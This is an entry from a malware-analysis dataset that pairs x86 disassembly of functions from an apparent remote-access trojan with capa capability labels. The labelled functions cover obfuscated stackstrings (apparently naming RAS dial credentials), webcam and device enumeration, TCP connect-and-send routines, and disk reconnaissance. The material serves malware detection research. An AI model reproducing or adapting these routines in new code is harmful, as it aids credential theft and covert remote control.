joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401fb0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x467246
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov al, byte [esp + 3]
push ebx
push esi
mov esi, ecx
push 0xc
mov dword [esp + 0x10], esi
mov dword [esi], 0x46b36c
mov dword [esi + 4], 0x46b368
mov byte [esi + 0xc], al
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
xor ebx, ebx
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], ebx
push 0x19018
mov dword [esp + 0x2c], ebx
mov dword [esi], 0x46b360
mov dword [esi + 4], 0x46b35c
mov dword [esi + 0x1c], ebx
mov byte [esi + 0x30], bl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 8
mov dword [esp + 0x10], eax
cmp eax, ebx
mov byte [esp + 0x24], 1
je 0x402032
mov ecx, eax
call fcn.00410b70
jmp 0x402034
xor eax, eax
push ebx
push ebx
push ebx
push ebx
mov byte [esp + 0x34], bl
mov dword [esi + 0x28], eax
call dword [0x477ddc]
push ebx
mov dword [esi + 8], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x4020a8
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push accept
lea ecx, [esp + 0x38]
push 0x477df8
mov al, 0x37
push ecx
push ebx
mov byte [esp + 0x44], 0x23
mov byte [esp + 0x45], 0x33
mov byte [esp + 0x46], 0x32
mov byte [esp + 0x47], al
mov byte [esp + 0x48], al
mov byte [esp + 0x49], 0x30
mov byte [esp + 0x4a], bl
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [esi + 0x34], eax
mov dword [esi + 0x48], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x3c], ebx
mov ecx, dword [esp + 0x1c]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x402340
Capabilities:
Enumerate devices by category

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x46727b
push eax
mov dword fs:[0], esp
sub esp, 0x824
lea eax, [esp + 0xc]
push ebp
push eax
xor ebp, ebp
push 0x46b47c
push 1
push ebp
push 0x46b50c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x402382
or eax, 0xffffffff
jmp 0x4024b3
mov dword [esp + 4], 0
mov eax, dword [esp + 0x10]
lea edx, [esp + 4]
push 0
push edx
mov ecx, dword [eax]
push 0x46b4fc
push eax
mov dword [esp + 0x840], 0
call dword [ecx + 0xc]
test eax, eax
je 0x4023d0
mov eax, dword [esp + 4]
mov dword [esp + 0x830], 0xffffffff
test eax, eax
je 0x4023c8
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or eax, 0xffffffff
jmp 0x4024b3
mov eax, dword [esp + 4]
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp + 4]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0xc]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x402498
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x473070
mov ecx, dword [eax]
push 0
push 0
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x40246e
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x20]
push 0
mov word [esp + 0x24], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x402464
mov ecx, dword [esp + 0x28]
push eax
push eax
lea eax, [esp + 0x38]
push 0x800
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
inc ebp
call esi
mov edx, dword [esp + 0x28]
push edx
call edi
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x402406
pop edi
pop esi
mov eax, dword [esp + 4]
mov dword [esp + 0x830], 0xffffffff
test eax, eax
je 0x4024b1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, ebp
mov ecx, dword [esp + 0x828]
pop ebp
mov dword fs:[0], ecx
add esp, 0x830
ret 4
Function at 0x4028b0
Capabilities:
Enumerate devices by category

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4672c0
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push edi
mov edi, dword [esp + 0x34]
xor ebx, ebx
cmp edi, ebx
jge 0x4028e9
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 8], ebx
lea eax, [esp + 8]
mov dword [esp + 0x2c], ebx
push eax
push 0x46b47c
push 1
push ebx
push 0x46b50c
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp eax, ebx
je 0x402938
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x402982
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov dword [esp + 0x34], ebx
mov eax, dword [esp + 8]
lea ecx, [esp + 0x34]
push ebx
push ecx
mov edx, dword [eax]
push 0x46b4fc
push eax
mov byte [esp + 0x3c], 1
call dword [edx + 0xc]
cmp eax, ebx
je 0x402997
mov eax, dword [esp + 0x34]
mov byte [esp + 0x2c], bl
cmp eax, ebx
je 0x40296c
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x402982
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
xor al, al
pop ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 8
mov eax, dword [esp + 0x34]
push esi
push eax
mov edx, dword [eax]
call dword [edx + 0x14]
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
push edx
lea edx, [esp + 0x14]
mov ecx, dword [eax]
push edx
push 1
push eax
xor esi, esi
call dword [ecx + 0xc]
cmp edi, ebx
jl 0x402a56
push ebp
mov ebp, dword [esp + 0x40]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x40]
push edx
push 0x473070
mov ecx, dword [eax]
push ebx
push ebx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x402a2c
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x1c]
push ebx
mov word [esp + 0x20], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
cmp eax, ebx
jne 0x402a22
cmp esi, edi
jne 0x402a17
mov eax, dword [esp + 0x14]
push ebp
push 0x46b46c
push ebx
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x20]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x3c]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
inc esi
call dword [ecx + 0xc]
cmp esi, edi
jle 0x4029c7
pop ebp
mov eax, dword [esp + 0x38]
mov byte [esp + 0x30], bl
cmp eax, ebx
pop esi
je 0x402a69
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], 0xffffffff
cmp eax, ebx
je 0x402a7f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [esp + 0x24]
pop edi
mov al, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret 8
Function at 0x403160
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x467328
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.00401950
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a4], 0
call fcn.00401950
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a4], 1
call fcn.00401950
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a4], 2
call fcn.00401950
lea eax, [esp + 0xc]
mov byte [esp + 0x1a4], 3
push eax
push 0x202
mov dword [esi], 0x46b378
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [0x477e1c]
mov byte [esp + 4], 0x4b
mov byte [esp + 5], 0x72
mov byte [esp + 6], 0x69
mov byte [esp + 7], 0x73
mov edx, dword [esp + 4]
lea ecx, [esi + 0xb0]
mov byte [esi + 0xb5], 0
mov byte [esp + 8], 0x52
mov byte [esp + 9], 0x61
mov dword [ecx], edx
mov dx, word [esp + 8]
mov dword [esi + 0xac], eax
mov word [ecx + 4], dx
mov al, 0x74
mov dword [esi + 0xa8], 0xffffffff
mov byte [ecx + 6], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret

Function at 0x403360
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push esi
push edi
mov esi, ecx
call fcn.004038c0
mov eax, dword [esi + 0xac]
push eax
call dword [0x477e10]
mov byte [esi + 0xb5], 0
mov eax, dword [0x477e20]
test eax, eax
je 0x40339d
cmp eax, 4
je 0x40339d
cmp eax, 5
je 0x40339d
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x4033be
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [0x477e20]
test eax, eax
je 0x4033ce
push 0x477e24
jmp 0x4033d3
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x4033e9
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov eax, dword [0x477e20]
mov word [esp + 0x18], 2
test eax, eax
je 0x403403
mov dx, word [0x4754b4]
push edx
jmp 0x403408
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov ecx, dword [edi + 0xc]
push 0x10
mov edx, dword [ecx]
lea ecx, [esp + 0x1c]
push ecx
mov eax, dword [edx]
mov edx, dword [esi + 0xa8]
push edx
mov dword [esp + 0x28], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x403441
pop edi
xor al, al
pop esi
add esp, 0x20
ret 8
mov ecx, dword [esi + 0xa8]
lea eax, [esp + 0xb]
push 1
push eax
push 8
push 0xffff
push ecx
mov byte [esp + 0x1f], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x40349f
mov ecx, dword [esi + 0xa8]
push eax
lea edx, [esp + 0xf]
push eax
push edx
push eax
push eax
lea eax, [esp + 0x20]
push 0xc
push eax
push 0x98000004
push ecx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0x2bf20
mov dword [esp + 0x38], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x403560
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.0040fd50
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
add esp, 0x20
ret 8
Function at 0x403af0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x14], 0
jb 0x403b5a
mov dword [esp + 0x1c], 0
mov eax, dword [ebx + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403b39
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x403b16
cmp dword [esp + 0x1c], 0xf
je 0x403b90
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [0x477e04]
sub ebp, esi
cmp ebp, esi
jae 0x403b0e
test ebp, ebp
jle 0x403b84
xor esi, esi
mov ecx, dword [ebx + 0xa8]
push 0
push ebp
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x403b7b
inc esi
cmp esi, 0xf
jl 0x403b60
cmp esi, 0xf
je 0x403b90
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x403b93
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x404510
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x130
push esi
push edi
push str.wsprintfA
mov esi, ecx
push str.USER32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dl, 0x44
mov cl, 0x73
mov edi, eax
mov byte [esp + 0xb], dl
mov byte [esp + 0x22], dl
mov al, 0x61
mov byte [esp + 0xa], cl
mov byte [esp + 0x14], cl
mov byte [esp + 0x17], cl
mov byte [esp + 0x21], cl
mov dl, 0x65
mov byte [esp + 0x33], cl
mov ecx, esi
mov byte [esp + 8], 0x52
mov byte [esp + 9], al
mov byte [esp + 0xc], 0x69
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x6c
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x6d
mov byte [esp + 0x15], 0x21
mov byte [esp + 0x16], 0x25
mov byte [esp + 0x18], 0x23
mov byte [esp + 0x19], 0x30
mov byte [esp + 0x1a], 0
mov byte [esp + 0x1c], 0x4c
mov byte [esp + 0x1d], 0x24
mov byte [esp + 0x1e], 0x5f
mov byte [esp + 0x1f], 0x52
mov byte [esp + 0x20], al
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0x66
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x43
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x64
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x34], 0x23
mov byte [esp + 0x35], 0x30
mov byte [esp + 0x36], 0
call fcn.004041c0
push eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x3c]
push eax
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x38]
mov ecx, esi
push edx
call fcn.004042f0
mov edi, eax
test edi, edi
je 0x404651
mov ax, word [edi]
mov ecx, dword [edi + 4]
push eax
push ecx
mov ecx, esi
call fcn.00404380
mov edx, dword [edi + 4]
push edx
call fcn.004664a0
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.004042f0
mov edi, eax
test edi, edi
je 0x40467b
mov cx, word [edi]
mov edx, dword [edi + 4]
push ecx
push edx
mov ecx, esi
call fcn.00404380
mov eax, dword [edi + 4]
push eax
call fcn.004664a0
pop edi
pop esi
add esp, 0x130
ret
Function at 0x405830
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46b3a0
push 0x4666a2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
call sub.MSVCRT.dll_malloc
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x40598a
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x4058db
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x4058db
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4058b6
cmp al, 0x5c
je 0x4058b6
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40589e
cmp byte [esi], 0
je 0x4058bf
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4058d4
cmp al, 0x5c
je 0x4058d4
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x4058bc
cmp byte [esi], 0
je 0x4058fa
jmp 0x4058f6
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x4058fa
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4058fa
cmp al, 0x5c
jne 0x4058fa
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x405950
cmp al, 0x5c
jne 0x405942
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x405935
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
jne 0x40593f
call dword [0x478178]
cmp eax, 0xb7
je 0x40593f
push edi
jmp 0x405982
and eax, 0x10
cmp al, 0x10
je 0x40593f
push edi
jmp 0x405982
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x405900
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.0046669c
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.0046669c
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405d20
Capabilities:
Get disk information

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x68
call dword [0x478164]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x405ebd
push esi
push edi
jmp 0x405d7a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x478168]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x405e2c
cmp al, 0x42
je 0x405e2c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [0x478160]
test eax, eax
je 0x405e2c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.004666b0
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.004666b0
mov dword [esp + 0x10], eax
jmp 0x405e32
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [0x47816c]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x405d78
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.0040b060
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x407ef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x64
push esi
push edi
mov edi, dword [esp + 0x70]
push 0x2f
push edi
call sub.MSVCRT.dll_strrchr
mov esi, eax
add esp, 8
inc esi
jne 0x407f11
pop edi
xor al, al
pop esi
add esp, 0x64
ret
push esi
push edi
call fcn.00410200
add esp, 8
test al, al
jne 0x407f25
pop edi
pop esi
add esp, 0x64
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
mov edx, 0x44
rep stosd dword es:[edi], eax
mov cl, 0x74
mov dword [esp + 0x28], edx
mov byte [esp + 0xc], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x10], dl
lea ecx, [esp + 0x18]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push 0
push 0
mov al, 0x61
push 0
push 0
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
push 0
lea eax, [esp + 0x28]
push 0
push esi
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x36], 0x30
mov byte [esp + 0x37], 0x5c
mov byte [esp + 0x39], 0x65
mov byte [esp + 0x3a], 0x66
mov byte [esp + 0x3c], 0x75
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3f], 0
mov dword [esp + 0x58], eax
call dword [0x4781c8]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x64
ret
Function at 0x408230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0xd], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
push ebp
mov ebp, dword [0x477d48]
mov byte [esp + 0x23], al
mov bl, 0x53
mov byte [esp + 0x11], dl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], cl
mov byte [esp + 9], cl
mov byte [esp + 0xb], al
mov byte [esp + 0xc], dl
push esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push edi
mov byte [esp + 0x18], bl
mov byte [esp + 0x10], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x29], 0x63
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x20], 0
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x15], 0x6d
mov byte [esp + 0x16], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
lea edi, [esp + 0x30]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call ebp
mov esi, eax
test esi, esi
je 0x408305
push 0
push esi
call dword [0x477d44]
push esi
call dword [0x477d40]
add edi, 4
dec ebx
jne 0x4082e8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret

Function at 0x408560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
mov al, 0x4e
mov cl, 0x43
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], al
xor al, al
push esi
mov esi, dword [esp + 0x2c]
mov byte [esp + 0x24], al
mov byte [esp + 0x19], al
mov byte [esp + 0x11], al
mov byte [esp + 8], al
lea eax, [esp + 4]
mov byte [esp + 0x1c], cl
mov byte [esp + 0x21], cl
push 4
mov dl, 0x54
mov cl, 0x20
push eax
push esi
mov byte [esp + 0x29], 0x4f
mov byte [esp + 0x2c], 0x45
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], 0x50
mov byte [esp + 0x21], 0x4f
mov byte [esp + 0x22], 0x53
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], cl
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0x44
mov byte [esp + 0x1c], cl
mov byte [esp + 0x10], 0x47
mov byte [esp + 0x11], 0x45
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], cl
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x40860d
mov ecx, dword [esp + 0x30]
mov eax, 1
pop esi
mov dword [ecx], 4
add esp, 0x24
ret
lea edx, [esp + 0xc]
push 5
push edx
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x408635
mov eax, dword [esp + 0x30]
pop esi
mov dword [eax], 5
mov eax, 2
add esp, 0x24
ret
lea ecx, [esp + 0x14]
push 5
push ecx
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x40865d
mov edx, dword [esp + 0x30]
mov eax, 3
pop esi
mov dword [edx], 5
add esp, 0x24
ret
lea eax, [esp + 0x1c]
push 8
push eax
push esi
call sub.MSVCRT.dll__strnicmp
add esp, 0xc
test eax, eax
jne 0x408685
mov ecx, dword [esp + 0x30]
mov eax, 4
pop esi
mov dword [ecx], 8
add esp, 0x24
ret
xor eax, eax
pop esi
add esp, 0x24
ret